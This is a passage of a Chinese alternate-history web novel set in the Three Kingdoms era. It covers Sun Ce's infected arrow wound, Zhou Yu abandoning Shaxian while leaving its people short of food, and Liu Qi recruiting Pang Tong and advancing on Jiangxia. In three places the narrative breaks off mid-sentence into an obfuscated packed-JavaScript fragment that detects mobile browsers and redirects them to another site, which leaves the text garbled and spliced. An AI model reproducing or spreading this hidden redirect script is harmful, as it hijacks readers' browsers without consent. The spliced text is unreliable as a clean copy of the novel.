即使面对这样的局面,孙策也不愿放弃好不容易才占据的江夏,毕竟江夏是荆州门户,占据了,那就相当于,孙策一只脚已经踏入了刘表的家里,只要再加一把劲就可挤入刘表家中,将刘表家给占了。 虽然这次在挤入刘表家中时,被刘琦狠狠的敲了一根子,但这但挫折还打不倒我孙伯符! 于是,孙策为了稳住军心,便只简单的处理了一下肩膀上的箭上,就每日出门巡视各营,以图鼓舞士气。 谁料,没过几日,孙策竟然发起高烧,当晚便晕厥过去,军医检查时才发现肩膀上的创伤竟有发脓迹象。 衙署后院,孙策躺在榻上,脸色烧得通红,嘴唇干裂,肩膀处的伤口渗着黄色的脓水,军医正用煮沸的麻布擦拭伤口,孙策疼得浑身抽搐,却依旧没醒。 时至今日,孙策已昏迷四日,周瑜虽然严令**息,可营中流言早传得沸沸扬扬。 “周校尉!不好了!” 屋外传来亲兵的急喊,周瑜刚走出房门,就见程普怒气冲冲赶来,手里攥着个逃兵的腰带: “有个降卒,刚才想偷船顺江逃,嘴里还喊‘吴侯快**,夏口守不住了’,我已经斩了他,可营里还有不少人在传,连咱们江东的老卒都慌了!” 闻言周瑜脸色一沉。 昨日黄盖巡查营寨时,就发现三艘藏在芦苇荡里的私船,船上堆着行李,是几个江东老卒准备偷偷逃走。 而今日又出了逃兵喊“吴侯快**”,再这么下去,军心真要散了。 周瑜眸底沉凝,他与伯符连襟之亲,二人素以兄弟相待,伯符待我义重情厚。 伯符晕厥,军心将溃,江夏危殆,此际他周瑜岂容坐视? 于是,周瑜深吸一口气,转身对亲兵喝令:“速去请韩当、黄盖二位将军,还有各营校尉,到衙署偏厅议事,半个时辰内,必须到齐!” 不过两刻钟,偏厅里已挤满人。 韩当刚进门就带着火气:“公瑾,是不是又出逃兵了?再这么下去,不用刘琦来攻,咱们自己先散了!” 黄盖也跟着叹气:“今早巡营,还有老卒拉着我问‘吴侯到底怎么样了’,我都没法答。” 周瑜未接话,先将江夏舆图在案上徐徐铺开,指尖在图上悬停片刻,忽然沉声道:“诸位,依我之见,眼下当暂弃沙羡,全军收缩,退守夏口。” 周瑜话刚落,偏厅顿时一阵骚动。 韩当猛地起身,按在剑柄上:“公瑾!你说什么?” “沙羡乃江夏郡治,城大,户口众多,是咱们占江夏的根基,怎能说弃就弃?” 黄盖也皱紧眉:“是啊,为了夺沙羡折了多少弟兄,就这么放弃了,难平军心啊!” 而其余几个校尉也纷纷附和,脸上满是震惊以及不满,看向周瑜的眼神里,多了些质疑。 为了这江夏沙羡,**多少弟兄才得以夺下,今日你周公瑾说放弃就放弃,那那些死去的弟兄不白**?! 周瑜立于案前,神色未变——这般反应,他早有预料。 从决定提出弃沙羡的那一刻起,周瑜就知道会遭到诸将的反对,毕竟为了夺取沙羡城,死伤的士卒亦不在少数。 沙羡城头的每一寸土,都浸着江东儿郎的血。 周瑜没有立刻反驳,而是抬手压下众人声浪,指尖点向舆图上的沙羡:“诸位稍安。” “我岂不知大家为了沙羡损失的多少弟兄?” “如今要放弃沙羡,我也很是不舍,但是.....” 周瑜故意停顿了一下,看了一下众将的反应。 见众将脸上的怒气渐消,按剑的手缓缓松开,连先前那最是激动的那几个校尉,也都敛了方才的焦躁,定定看着周瑜等他往下说,见此周瑜便继续沉声道: “可今时不同往日,咱们眼下拢共八千兵,我本部三千加降卒两千,共五千守沙羡,公覆(黄盖)将军与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自孙策跨江征战江东以来,从庐江到丹阳,从吴郡到会稽,每打下一座城,便会将城中户口、田亩分予立功部将,或作食邑,或为部曲根基。 黄盖、韩当等人的部曲能扩至三千,靠的是孙策封给他的历阳县。 韩当麾下精锐,多是从他封地历阳县周边征来的子弟,江东诸将的实力,从来与地盘户口绑在一起。 而沙羡是江夏郡治,四万二千户口,比江东半数县城都富庶。 诸将心里早算过账:若是守住沙羡,等孙策醒后**,这地方十有**会封给首功者。 到时候,不仅能就地征召数百乃至上千部曲,单是每年的租赋,就够养一支精锐。 即便轮不到自己,守住郡治的功劳,也能换块不错的封地。 可若是弃了沙羡,退守夏口,夏口虽险,户口却不足万,日后分赏时,能拿到的地盘、兵力,怕是要差沙羡一大截。 “周校尉,”终于有个年轻校尉忍不住开口,声音带着几分急切,“沙羡城墙是黄祖当年夯的,厚达丈余,咱们再添些土,多备些滚木,就算刘琦来攻,守个十日半月总没问题吧?” “只要能撑到江东援军抵达,那可是大功啊!” 这话像点了火,另一个校尉立刻附和:“是啊!咱们八千兵,五千守沙羡,三千守夏口,未必不能两面牵制!王朗那厮不过是章陵郡兵,战力不堪一击!” 众将嘴上说的是“守得住”,心里念的却是“守住了能得多少好处”——那点“我能反杀”的侥幸。 说到底,是舍不得沙羡那四万户口带来的部曲之利,是想赌一把“险中求富贵”。 周瑜看着他们,轻轻叹了口气,语气沉了下来:“诸位心里的盘算,我岂不知?” “沙羡户口多,守下来便是泼天功劳,能扩部曲、得食邑......” “可要是赌输了,就是八千弟兄全折在这里,就是江东丢了江夏,就是咱们连回去领赏的命都没了!” “伯符待咱们如兄弟,封咱们地盘、养咱们部曲,不是让咱们拿弟兄们的命,去赌那点侥幸的!” 这话戳中了诸将的软肋——他们贪的是部曲之利,可若没了命,再多地盘也没用。 程普适时开口,声音带着津乡之战的后怕:“公瑾说得对!” “津乡之败,就是因为咱们兵力散了,让刘琦找到机会逐个咬住,击破!” “咱们不能为了一块封地,把命都搭进去!” 韩当张了张嘴,终是没再反驳——他想起自己封地的子弟兵,若是折在沙羡,日后部曲怕是要元气大伤。 黄盖也捋着胡子点头:“罢了,利益虽好,可弟兄们的命更重要。 (本章完) 第30章 霸王垂危!毒入骨髓。 周瑜见诸将终是达成共识,心头大石落地,当即俯身按在舆图上,语速极快地部署: “公覆,你带三千兵即刻去沙羡,主持撤防——粮库的粟米、盐巴,能运多少运多少,全运往夏口。” “城中军械库的**机、甲胄、长矛,尽数装车,带不走的破损器械,一把火烧了,连木屑都别留给荆州兵!” 黄盖刚要应下,程普突然开口:“公瑾,沙羡的百姓怎么办?要不要一并迁去夏口?” 周瑜却摇了摇头,指尖点向舆图上沙羡城的标注,眼底闪过一丝冷光: “沙羡原是江夏郡治,万户之邑,算下来该有五万百姓,虽经历战乱人口有所减少,但也还剩四万二,这些人,一个都不迁。” “什么?” 闻言韩当顿时急了,“留着百姓给刘琦!” “他得了人,岂不是能扩兵?” “呵呵!扩兵?” “扩兵也要先喂饱肚子。” 周瑜嘴角勾起一抹浅笑,“你去告诉下面的弟兄们,撤走前给每户百姓发二斗粟米——只够三日口粮,多一粒都不给。” “刘琦得了这四万二张嘴,每日耗粮就得尽百石。” “他若要养,就得从江陵调粮,分兵守沙羡;他若不养,百姓必乱。” “这四万二百姓,就是咱们给刘琦留的‘厚礼’,让他顾着粮草,没空来犯夏口!” 程普眼睛一亮,拍着大腿道:“好个计策!津乡那一战刘琦赢了几分,定是骄纵得很,见了沙羡这‘空城’,再添上四万多百姓,保管他手忙脚乱!” 部署既定,黄盖当日便率军执行周瑜的能搬的搬空,不能搬的烧光。 城内百姓早被流言搅得惶惶不安,见江东兵昼夜不停搬粮运械,更是慌作一团。 黄盖依周瑜所嘱,只在城头贴了告示,让百姓领了三日口粮便闭门待着,半句不提迁民之事。 三日后,沙羡的粮库、军械库已被搬得底朝天。 黄盖望着满载的粮车、军械车渐渐远去,抬手下令:“点火!” 火光冲天而起,军械库的焦糊味飘出数十里,连夏口城外的王朗都派斥候来探。 待火灭时,沙羡城只剩空空的城郭、四万二惶惶的百姓,以及每户家中那点仅够三日的口粮。 黄盖率部撤离时,勒马回望沙羡城头,只见城门大开,鸦雀落在焦黑的军械库残梁上,嘶哑的叫声裹着江风传来。 黄盖冷哼一声:“刘琦小儿,这城,还有这满城百姓就看你接不接得住了!” 夏口城。 长江的夜色裹着江风,吹得衙署外的旗杆呜呜作响。 从沙羡运来的粮车动静闹了半宿,韩当、程普来报“粮草军械尽数入仓”时,周瑜也只草草应了句“知道了”。 在简单的将手中事务处理后,周瑜便转身往衙署后院而去。 比起将沙羡物资全部撤走,以及留下百姓坑刘琦一道的“得计” 衙署后院榻上那道身影,才是周瑜当下心头唯一的牵挂。。周瑜推开孙策房门,屋内的烛火在周瑜裹挟的微风下摇曳, 烛光下,床榻上的孙策脸色已不是前几日的通红,而是透着一股死气的青紫泛白,嘴唇干裂得渗出血丝,每一次呼吸都急促而沉重,像扯着破旧的风箱。 屋内此时有数名军医在孙策榻前,忙前忙后。 这时一团刚换过伤口的麻布随意丢弃在周瑜跟前,麻布上,黄稠的脓水混着血丝,竟比昨日又多了些,连屋内都飘着一丝若有若无的腐臭。 周瑜轻步上前,对军医们的行礼视如无物,直径来到孙策榻前。 周瑜指尖刚触到孙策的额头,便猛地缩回,实在是太烫了,竟让周瑜生出一种触及到暖水壶的感觉, 当下周瑜心中一沉,伯符高热已有多日,为何没有减缓,再高热下去,人恐怕....... 周瑜喉结动了动,转头看向立在角落、大气不敢出的军医。 声音虽不大,但却藏不住周瑜的急切:“伯符这高热,怎么还没退?反而更重了?” 军医身子一哆嗦,连忙上前躬身:“回、回校尉,卑职已用了最好的退热药草,也换了三次清创的烈酒,可吴侯他……” “他高烧七日不退,伤口的脓毒已顺着血脉往上走,昨日开始,手脚都有些发僵了……” “脓毒入血?” 周瑜闻言身体晃了晃,忙伸手撑住身旁的案几,案上的药罐都被震得轻轻磕碰。 周瑜喉间发紧,眼前晃过半月前的景象。 那时他们斩黄祖破沙羡,沿江诸县上插满江东旗号。 伯符拍着他的肩笑,说“公瑾你看,江夏到手,荆州门户算咱们踹开了”,那时周瑜只觉前路顺畅,只待拿下江陵、逼退刘表不过是早晚的事,那时二人可谓是意气风发,挥手间便有吞楚雄踞江汉,北上试问汉室汉鼎之重。 可谁曾想,不过短短十余日,情形竟急转直下至此? “尔等前几日不是说,只要清创仔细,伤口能愈……怎么会脓毒入血?怎么会……” 周瑜这话问得急切,却带着几分自欺欺人的侥幸。 这些日子,周瑜忙着部署撤防、算计刘琦,夜里偶来探望,见孙策高烧不退,心底早有隐忧,只是不敢往最坏处想。 周瑜总以为,伯符是纵横江东的“小霸王”,津乡那样的死局都能突围,这点箭伤高热,总能扛过去。 以为,只要江东援军一到,他们便能再杀回江陵,圆了共取荆州的约定。 可军医的话,像一把冷水,兜头浇灭了周瑜所有侥幸。 那军医早吓得跪倒在地,额头抵着地面,哭着回话:“校尉!吴侯在津乡中箭后,为稳军心日日巡营,伤口沾了江风尘土,那时毒就浸深了!” “卑职日日清创灌药,可毒已顺着血脉往脏腑钻,卑职也无能为力啊!” “无能为力.....” 周瑜看向床榻上那个往日里纵马提枪、从不认输的人,此刻蜷在榻上,连呼吸都弱得像要断了,青紫泛白的脸上,再寻不到半分“小霸王”的锐气。 “你再想想办法!”周瑜猛地俯身,一把揪住军医的衣领,眼底布满红丝,声音带着压抑不住的颤抖, “烈酒清创不行,就换草药敷;退热药草没用,就去寻神医妙手!” “伯符他才二十六,他还没看到江东踏平荆州,他不能……他不能就这么撑不住!” 军医被他揪得喘不过气,眼泪鼻涕混在一起:“校尉!卑职真的....尽..力..了!” “昨夜已试过放血排毒,可血都是黑的……吴侯脉息越来越弱,怕是……怕是真的回天乏术了!” 周瑜松开军医的衣领。 “回天乏术也得寻!” 此时周瑜声音有些嘶哑,每个字都像从齿缝碾碎而出,“即刻派百人去江夏各县搜民间偏方——哪怕是山野巫医的法子,只要能试的都找来!” “告诉他们,能救吴侯者,赏黄金百两,封良田千亩!” “诺!” 亲兵领命躬身应了声道。 周瑜重新看向军医,语气稍缓却依旧带着不容置疑的威严:“你也别跪着了,即刻去熬药。” 军医连忙爬起来,抹了把脸上的眼泪鼻涕,躬身应道:“卑职遵命!卑职这就去!” 说罢军医踉跄着退出去,连落在地上的药杵都忘了捡,只听见他的脚步声在走廊里越来越远,混着远处巡营的梆子声,格外清晰。 周瑜望着榻上的孙策,定定出神,脑海中回忆起这些年与孙策的过往,从当年一起在寿春投军,到后来平定江东六郡,再到如今拿下江夏的计划——这些过往,周瑜们曾在无数个夜晚一起复盘。 或许在过不久就只剩周瑜一个人诉说这些过往了。 就在这时,庭院里突然传来一阵杂乱的脚步声,打断周瑜的回忆,伴随着亲兵焦急的呼喊:“校尉!校尉!紧急军情!” 周瑜猛地回头,走出孙策屋内,见一名斥候正跪在庭院中央,身上的衣甲沾着尘土,脸上满是急切,连呼吸都带着喘息:“校尉!探子回报刘琦水师已抵沙羡城下,半个时辰前……已入城!” “可探得刘琦小儿入城后的情况?” 周瑜闻言,眉头只是微挑,并未露出半分意外之色。 周瑜站在廊下,夜风卷着庭院里的草屑掠过鞋面,眼底不见惊惶,反倒有几分“果然如此”的沉静。 刘琦来得快,却也在周瑜的意料之中。 自决定弃守沙羡那日起,周瑜便知,以刘琦在津乡得胜后的锐气,自然不会放任他们继续占据江夏。 更何况,周瑜撤防时虽有派遣士卒掩人耳目,却难以隔绝被荆州的斥候窥得蛛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591494|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝马迹。 且换做是周瑜自己,若探得对手弃城,必会即刻点兵,顺江而下抢占空城,断不会给对方喘息之机。 是以,听到“刘琦已入城”的消息,周瑜心中并无波澜。 当下周瑜更在意的是自己撤防时埋下的那枚“棋子”——沙羡城里四万二惶惶待哺的百姓,究竟有没有如他所料,给刘琦添上麻烦。 周瑜目光落在仍跪在地上的斥候身上,语气比方才沉了几分:“入城后的动静,只探得这些?” “沙羡城里的百姓呢?我军撤走时留了三日口粮,此刻该是粮尽之时,可有骚乱?刘琦面对那些百姓,是如何应对的?” “校尉!刘琦水师刚入沙羡城,城里原有些因缺粮而起的骚乱,可没半个时辰就将骚乱个安抚平了!” “倒没想到刘琦军中藏着这等能人,竟能这么快稳住民心!” 周瑜眉峰微蹙。 这时,斥候又说道:“另外,随同刘琦一起抵达的还有二十艘粮船,船只吃水线沉得很,估摸着得有三千石粮!” 周瑜立在廊下,心里闪过一丝轻浅的失落。 那四万二百姓是他算准的“绊子”,原以为能让刘琦手忙脚乱三五日——要么弃民乱城,要么急调粮分兵,没成想竟被轻描淡写接了去。 但这点失落刚浮起,就被周瑜给压下,眼底倏然凝起锐光。 斥候说刘琦的粮船随水师同来,哪是临时应对? 分明是早猜到他会留百姓当包袱,提前备足了粮草。 能看透他的计谋根脚,还备好后手,刘琦帐下这能人,绝不止会安抚民心那般简单。 想到这周瑜心头一紧,刘琦帐下有这等能预判他计谋的人,定然不会只守着沙羡,必会派人刺探夏口虚实。 而孙策昏厥多日、命在旦夕,这消息若被探去,刘琦必趁江东群龙无首之时猛攻夏口! 念此,周瑜当即喝来亲兵:“速去追回调去江夏各县寻偏方的百人,改往江东境内找!” “另,将帐中军医全集中看管,不许与外人接触,谁敢泄半句吴侯病情,立斩!” 接着周瑜又对刚赶来的程普下令:“德谋将军劳烦你加派岗哨,严查进出城人等,刘琦的斥候若敢来,务必抓活的,绝不能让他们探到伯符的情况!” “啊!?” 程普有些懵道。 程普刚在外头守了大半夜,只知道沙羡撤防顺利,却没听闻刘琦入城的变故,更不知孙策已到了脉息微弱的地步。 再者,程普一路赶来,满脑子还在盘算怎么加固沔水口的防线,冷不丁被塞了个“看管军医、严查进出”的差使,一时没转过弯来。 程普哪里知道,他的部曲早不是当年随孙策平定江东时的模样。 津乡突围,他手下三千部曲折损了大半,如今跟着他的,只剩不到六百人手,还多是带伤的老兵,论冲锋陷阵,实在难堪大用。 而周瑜早把这些看在眼里,眼下夏口缺兵,既要留精锐守江面、防刘琦突袭,又要派人寻医救孙策,能托付“保密”差使的,也只有程普这员老将。 程普眼下虽战力不足,但人却心思缜密,又对孙策忠心耿耿,守城门、看军医这类需细致稳妥的事,再合适不过。 周瑜见他懵着,快步上前,压低声音解释:“德谋,刘琦已入沙羡,且帐下有能人,早猜到咱们留百姓的后手,还带了粮草应对。” “而想来下一步,必派人来夏口探虚实——伯符如今昏沉不醒,这消息若泄出去,刘琦定趁乱攻城!” 说着周瑜指了指孙策卧房的方向,语气沉了几分:“你的人虽少,但守紧城门、看住军医绰绰有余。” “务必记住,凡进出此院者,令牌验三遍,军医那边,只许进药,不许出半句关于伯符病情的话,敢泄秘者,不用禀我,直接按军法处置!” 程普这才回过神,脸上的懵然瞬间变成凝重。 程普是征战多年的沙场宿将,怎会不懂主将安危系着全军军心? 眼下孙策昏厥多日,若是消息走漏,军中必乱,刘琦刚占沙羡,定会趁机来攻。 程普当即抱拳沉声道:“公瑾放心!六百弟兄我亲自调度,城门守死,军医看紧,绝不让半句话泄出去,撑到援军来!” 程普说罢转身便去部署,动作干脆利落。 (本章完) 第31章 卧龙凤雏!皆入刘琦麾下。 视角回到江陵这边。 在看完刘表的回信后,刘琦立马便决定,御驾..哦不,是即刻出发光复江夏。 而为了,能放心的都进江夏,刘琦对江陵城的留守也废了点心思。 江陵是刘琦如今的根基,所以要在这根基初立之时,明确权责,稳固人心。 且江陵是他最后的退路,也是东征的底气,不容有失。 是以,在第二日清晨,送别黄忠后,刘琦一行人踩着还未散去的薄雾,回到江陵官署里,而此时的官署内,也因刘琦突然间做出决定出征江夏,各级官僚也随着刘琦的命令而蹦波,是以官署里已是灯火通明。 刘琦一身戎装,按剑立于荆州舆图前,神情庄重,往日里身为荆州长公子的雍容一扫而空,尽显征战将军的飒爽模样。 这时,刘琦麾下文武尽数到来,诸葛亮、徐庶、**珍、魏延、陈应等军中各将校... 刘目光扫过麾下文武,最终落在徐庶和魏延身上。 “诸位!” 除了诸葛亮与徐庶,早已知晓刘琦准备东进光复外,其余众人看向刘琦,见刘琦如此装扮,也多多少少猜到刘琦要干什么了。 魏延最先按捺不住,粗粝的手掌互相摩擦。 大步跨出,抱拳对刘琦道:“主公!莫不是要东征江夏?” 见刘琦点头后,魏延当即就有些兴奋的请求道: “主公,江陵营五千弟兄早练熟了阵型,末将愿为主公尖刀,为主公光复江夏!” 刘琦缓缓点头,嘴角勾起一抹浅笑,赞许道:“文长有此锐气与忠心,我心甚慰。” “然....” 刘琦话锋稍转,点向舆图上的江陵:“只是东征需稳后方,江陵粮库、军械皆需江陵所出,非你这员猛将镇守,我难安心。” 刘琦这话瞬间,让魏延有些懵了,脸上的脸上的兴奋之意顿时僵住,喉结滚了滚:“主公?您……不让末将当先锋?” 魏延哪里能不懵? 本以为凭自己在津乡血战里表现出来的的勇武与忠诚,必能随军当先锋。 武人想往上走,靠的就是阵前敢拼、立实打实的战功! 君不见他从前只是襄阳营一个军候,带五百人跟着刘琦破了孙策,就凭那股敢冲的劲,蔡升成江陵营校尉,统领五千精锐! 而错过这次东征,下次再靠厮杀晋爵,又要等何时? 可不等魏延发言为自己争取随军出征的机会。 刘琦也见到了魏延的懵逼,但没再多解释,而是抬手沉声道:“诸将听令!” 堂下文武瞬间绷直身体,甲胄碰撞声整齐划一,连呼吸都缓了缓。 方才议事厅内还带些议论轻松的氛围,瞬间变得肃穆,每个人都盯着刘琦,等着接令。 “魏延!”刘琦高声念名。 “末将在!” 魏延猛地抱拳,声音里还带着几分未散的懵意,但却不敢有半分懈怠。 “命你统领五千江陵营,总揽江防城防,重点镇守粮库、码头与军械库!” “若无我手令,一粒米、一套甲胄皆不许调动!” 刘琦的声音,在堂内里回响。 闻言魏延身躯僵了僵,心里那是千百个不愿,可看着刘琦严肃的神色,魏延也不敢抗命,“末将……领命!” 刘琦点头,目光转向一旁沉静的徐庶,语气缓和下来,:“元直。” 徐庶躬身:“主公。” “父亲已许我自行任免属官,今日便任你为江陵长史,主掌全城民政,另兼军师佐理,参赞军务谋划!” 刘琦话锋一转,特意看向魏延,声音沉了几分,“文长,你记着,若需调兵外出,当与元直协商,共定对策,且不可擅自做主!” 魏延愣了愣,虽觉得武事要跟文官商量有些别扭,但想起刘琦的严令,还是硬着头皮补了句:“末将……明白!” 徐庶亦沉声接话:“主公放心!庶必守好民政、参透军务,与文长好好协同,绝不让江陵出半分差错!” 刘琦此举,绝非不信任二人。 魏延掌兵、徐庶掌政,分立又需协同,既能防一方权力独大生乱,又能互相补漏。 魏延勇烈却易冲动,徐庶沉稳且有战场经验,彼此商量着来,恰好能避短扬长。 这不是单纯的御下手段,更是上位者的周全。 若魏延独掌兵权,易遭世家猜忌或自身行差踏错。 若徐庶独掌民政,也难扛外敌压力。 这般制衡,既是护江陵根基,也是护这两位心腹能长久安身。 安排好留守江陵人选后,刘琦点兵继续,此次东征兵力一一明确: 刘琦亲率襄阳营五千、江夏郡兵三千、长沙水师三千,以及**家、庞家等世家贡献的私兵部曲三千,合计一万四千人。 黄忠麾下三千水师斗船三百艘、楼船十五艘,已经提起出发看。 诸葛亮、庞统为随军军师。 大军将从江陵港出发,顺江东下,直扑江夏郡治沙羡。 众将得令,纷纷离去准备。 至于庞统为何会出现在刘琦麾下,那就要说回,刘琦接到刘表回信那一天了。 看完刘表回信后,刘琦正在书房与诸葛亮商议水师进兵路线,而这时庞统不请自来。 庞统此番不请自来,实则早有铺垫。 此前刘琦宴请江陵世家,庞越见刘琦待人谦和、又有破孙策的实绩,第二日便特意领着庞统上门拜会。 而刘琦本就是后世来者,“卧龙凤雏,得一可安天下”的千古名句早刻在心里,怎会不知庞统的分量? 初见时,庞统身材矮胖、面容粗黑丑陋,果如史记中所载那般“其貌不扬”。 但刘琦却半分没有流露轻视,反倒快步上前,亲手引庞统入座,交谈时语气谦和:“士元凤雏大名,琦早有耳闻,今日得见,幸甚,幸甚。” 彼时庞统年纪尚轻,“凤雏”之名虽在士林间传得响,多是文人同道相互推崇,而真正手握实权人物对此名头往往皆是嗤之以鼻。 若不是庞统乃庞家子弟,早就有人上门领教一下庞统担不担得起凤雏之名。 如今刘琦身为刘表长子,手握数万大军,加之津乡大破孙策,名动荆襄,一扫往日软弱长公子之名。 却对庞统这般礼贤下士,连半句提及容貌的话都没有,反倒一开口就问“士元看江东水师若来犯,江陵当如何布防”,句句都往庞统最擅长的谋略上引。 刘琦这般看重才学、不重皮囊的姿态,让庞统心里瞬间热了。 庞统本就憋着股劲想寻个能施展抱负的明主,此刻见刘琦这般人物,哪还按捺得住? 只觉眼前这位长公子,比那些空有门第、不重实务的世家强出百倍,投效之意,当场便在心里扎了根。 随后二人相谈甚欢,从津乡战策聊到江夏水道,默契渐生。 刘琦其实早察觉庞统的归心之态,却没当场开口招揽。 刘琦深知庞统这般有才之士,最忌“轻贱”,初次深谈便邀其入幕,反倒显得自己急于求成、不够敬重。 更何况庞统临别时已明说“会暂留江陵,再观公子行事”,刘琦便顺水推舟,没急于相邀,只等着合适的时机。 如今见刘琦与诸葛亮商议水师部署,正是自己展露才学、顺理成章归队的良机,庞统才索性不请自来,用实打实的谋略,为自己证明担得起凤雏之名。 “公子欲与江东争夺江夏,首要之事,便是击破其纵横长江的水师。” “然观公子帐下,并无真正精通水师谋略、熟知江夏水道之人啊。” 庞统一进来,便开门见山,语带机锋。 刘琦一愣,对于庞统的到来并没有感到意外,刘表给刘琦的任命信,虽算机密,可凭着庞家在江陵盘根错节的人脉,信中“许刘琦掌控江陵、自行委任属官”的内容,怕是早被他们摸得门清。 而今早黄忠领先锋营开拔,动静大得半个江陵都知晓,庞家怎会没察觉? 这些信息落到庞统眼里,哪还猜不透? 刘琦手握任命、又调先锋出动,必是要东征江夏,与江东争那片失地。 庞统本心里早有投效之意,但却还存着点名士矜持,想着刘琦既肯三顾茅庐请诸葛亮,对自己这“凤雏”,总该多几分重视,哪怕不三请,能亲自上门邀一次,自己便顺势应下。 随着刘琦名动荆襄,先前三顾茅庐的事迹自然也是广为人知,而刘琦如此礼贤下士的举动无形中在一众在野的士子文人心中狠狠的刷了一波好感。 可庞统见刘琦已着手部署水师,先锋都已出发,东征箭在弦上,哪还容得庞统再矜持? 庞统心里门儿清:东征是军争硬仗,正是自己最擅长的领域,此刻上门献策,既能展露真才实学,又能赶在战事起前入局,是加入刘琦麾下最好的时机。 这点矜持,在实打实的机遇面前,自然得果断舍下,于是庞统攥着长江水道典图赶到刘琦这里,上来就高声夺人。 而这时刘琦看向诸葛亮,见其微笑不语,便知其意。 于是刘琦便反问庞统:“士元先生何出此言?” “我麾下汉升将军统领长沙水师多年,经验丰富,难道不可为帅?” 庞统摇了摇头,那不甚俊朗的面容上此刻写满了认真:“黄忠将军,乃斗将之才。” 庞统稍微加重了“斗将”二字,此乃庞统委婉之言,实则暗指黄忠冲锋陷阵、临阵射箭是一把好手,但缺乏统率水军、进行大规模水面调度和复杂战术布局的能力。 “黄忠善于临阵破敌,箭术超群,若论接舷跳帮,或可一用。” “然水师之战,关乎风向、水流、暗礁、浅滩,更需诸船协同,布阵设防,非仅凭勇力可胜。” “江东周瑜、黄盖等奖,皆深谙水战要害, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庞统见状,眉头微蹙,心头犯了疑,难不成自己方才的计策有疏漏? 便拱手问道:“公子、孔明先生,为何发笑?莫非统此策有不妥之处?” 刘琦笑着摆了摆手,指了指他与诸葛亮:“士元不必多心,我与孔明发笑,是因你我三人英雄所见略同!” “你方才所言‘攻心为上’,我与孔明早在前几日便议过,光复江夏的根本,本就定在‘先收民心,后谋军争’。” 诸葛亮接过话头,羽扇轻合:“正是。” “先前与主公商定东征之策时,便已决意以攻心为先。” “主公此番带亮同行,而非留我留守江陵,正是要我届时联络安陆黄氏、平春李氏等族,再开仓赈济流民,把‘攻心’的事做实,为军争铺路。” 闻言庞统这才恍然,随即也笑了:“原来如此!倒是统多心了。” “既有孔明先生打理民心之事,统便专心谋划水师战策,定叫江东军无隙可乘!” 这里解释了刘琦为何要带诸葛亮同行,而非徐庶,并非不知徐庶长于临阵军争。 徐庶用兵灵活,急智应变之能,在荆襄少有人及。 反观诸葛亮,更擅战略布局与政务统筹,加之诸葛亮两位姐姐分嫁庞家、蒯家,在荆州士族中人脉熟稔,按常理应是留守江陵、稳固后方的最佳人选。 可自打占据江陵后,刘琦与徐庶、诸葛亮时常商议收复江夏之策。 而二人经过多次商议后,给出的意见,竟出奇一致:“复江夏,当以攻心为上,军争为下。” 徐庶虽精于军争,亦认可诸葛亮“联络世家、安抚民心方为根本”的主张。 诸葛亮更直言,要做实“攻心”之策,需亲往江夏协调本地大族与荆州本部的关联,方能事半功倍。 如此一来,刘琦带诸葛亮同行便成了最优解。 此刻见庞统亦抛出相同论调,更印证了顶尖智谋之士的眼光往往殊途同归。 以攻心为先导,让擅于周旋士族、安抚百姓的诸葛亮亲自主持,方能为收复江夏筑牢根基。 刘琦见庞统眼底满是建功之志,当即朗声道:“士元精通水师谋略,又洞悉军机,今便任你为‘水师参军’,总掌东征水师战策调度,兼赞画全军军机,与孔明同参帷幄,助我与江东争雄江夏!” 刘琦这话既是任命,亦是明晃晃的招揽。 庞统闻言心头一热,当即离席躬身抱拳,:“蒙公子信重,统必以水师之术破江东壁垒,以军机之谋佐公子复故土,若有差池,甘受军法!” 刘琦上前扶起他,朗声笑叹:“世人皆言‘卧龙凤雏,得一可安天下’。” “如今孔明在侧,士元又肯入我帐下——这等际遇,岂不快哉!” (本章完) 第32章 孔明算无遗策!小霸王回光返照! 刘琦所率东征大军,自江陵港扬帆启程后,便借着长江顺流之势疾进。 楼船扯满主帆,斗船橹桨齐发,江面上帆影蔽日、橹声震水,首尾相接的船队如一条木质长龙,劈开江面东奔而去。 因是顺流而下,行船竟有“千里一日”之势,昼夜兼程间,在第二日便追上来作为先锋的黄忠所部。 原来黄忠率三千水师为先锋,一路需替大军扫清前路障碍。 逢水道岔口必登岸探查,遇可疑滩涂便遣人摸哨,既要防备江东水师在芦苇荡、浅滩处设伏,又得为后续大军标记暗礁、浅滩位置,行船不得不缓,是以才会被刘琦所追上。 而刘琦大军因有庞统献上的江夏水道详图,图中暗礁分布、急涡走向、避风港所在皆标注得一清二楚,船队行船时径直绕开险段,无需停顿探查,顺流之势更盛,竟硬生生追赶上了前锋。 不多时,刘琦座船便与黄忠旗舰并舷,黄忠立在船头拱手:“主公神速!” 刘琦颔首一笑,令两军合为一处,继续顺流疾行。 待到次日未时,沙羡城的灰色城郭已清晰在望,合兵后的大军随即锚定江岸。 虽然早就从斥候回报,知晓江东军已弃守沙羡! 但即便如此,刘琦仍持重行事。 令舰队锚定江面,全军暂不下船,只点了两百锐卒随斥候登岸探查。 自己则立在旗舰船头,目光扫过那半掩的城门与城内隐约传来的哭吵声,眉头微蹙。 不多时,探查士卒疾奔回报:“主公城内未见江东兵马踪迹!” “而府库空空如也,粮囤、军械库被搬空后还烧了大半,仅余些焦黑木梁,百姓家中粮米早断,江东军撤离前只留了三日口粮,如今已告罄,不少人争抢残粮,沿街尽是哭喊!” 闻言,刘琦转头对身旁的诸葛亮笑道:“孔明,果真如你所料!” 